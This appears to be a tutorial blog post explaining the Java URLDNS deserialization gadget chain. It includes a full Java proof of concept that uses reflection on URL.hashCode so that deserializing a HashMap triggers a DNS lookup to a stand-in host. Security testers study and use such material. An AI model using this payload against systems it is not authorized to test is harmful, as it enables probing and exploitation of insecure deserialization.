Fading Coder

One Final Commit for the Last Sprint

Home > Tech > Content

Exploiting HashMap Deserialization via URLDNS Chain

Tech 1

Exploiting HashMap Deserialization via URLDNS Chain

Deserializing a HashMap instance triggers its readObject() method. The vulnerability lies in how this method processes keys during deserialization. Specifically, it recalculates hash values for all keys by invoking each key's hashCode() method.

When a key is of type URL, its hashCode() implementation initiates DNS resolution. The full call chain is:

HashMap.readObject()
HashMap.hash()
URL.hashCode()
URLStreamHandler.hashCode()
URLStreamHandler.getHostAddress()
InetAddress.getByName()

Implemantation Challenges

Two issues arise when constructing the payload:

  1. The URL class caches its hash code. By default, URL.hashCode is -1 (uncached). After the first computation, the value is cached.
  2. The put() operation during payload construction triggers DNS resolution prematurely, making it difficult to distinguish between pre-serialization and deserialization DNS requests.

Solution

To prevent DNS resolution during put():

  1. Before adding the URL to the HashMap, use reflection to set URL.hashCode to a non--1 value (e.g., 0). This bypasses hash computation during put().
  2. After put(), reset URL.hashCode to -1 using reflection. This ensures hash recalculation occurs during deserialization.

Proof of Concept

URL url = new URL("http://dnslog.example");
HashMap<URL, String> map = new HashMap<>();

// Prevent DNS during put()
Field hashCodeField = URL.class.getDeclaredField("hashCode");
hashCodeField.setAccessible(true);
hashCodeField.set(url, 0); // Set non--1 value to bypass computation

map.put(url, "payload");

// Reset for deserialization trigger
hashCodeField.set(url, -1);

// Serialize
ByteArrayOutputStream bos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(bos);
oos.writeObject(map);

oos.close();

// Deserialize to trigger DNS
ByteArrayInputStream bis = new ByteArrayInputStream(bos.toByteArray());
ObjectInputStream ois = new ObjectInputStream(bis);
ois.readObject();

Hash Caching Mechanism

The initial hashCode value of -1 serves as a cache flag. The first hashCode() call computes and caches the value; subsequent calls return the cached value.

Related Articles

Understanding Strong and Weak References in Java

Strong References Strong reference are the most prevalent type of object referencing in Java. When an object has a strong reference pointing to it, the garbage collector will not reclaim its memory. F...

Comprehensive Guide to SSTI Explained with Payload Bypass Techniques

Introduction Server-Side Template Injection (SSTI) is a vulnerability in web applications where user input is improper handled within the template engine and executed on the server. This exploit can r...

Implement Image Upload Functionality for Django Integrated TinyMCE Editor

Django’s Admin panel is highly user-friendly, and pairing it with TinyMCE, an effective rich text editor, simplifies content management significantly. Combining the two is particular useful for bloggi...

Leave a Comment

Anonymous

◎Feel free to join the discussion and share your thoughts.